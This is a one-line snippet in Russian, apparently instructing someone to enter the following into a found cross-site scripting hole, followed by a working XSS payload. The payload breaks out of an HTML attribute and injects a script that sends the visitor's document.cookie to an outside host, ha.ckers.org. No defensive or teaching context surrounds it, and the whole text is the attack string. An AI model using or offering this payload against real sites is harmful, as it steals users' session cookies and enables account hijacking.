пиши в найденной xss "'><script>document.location='http://ha.ckers.org/xss.js' +document.cookie</script>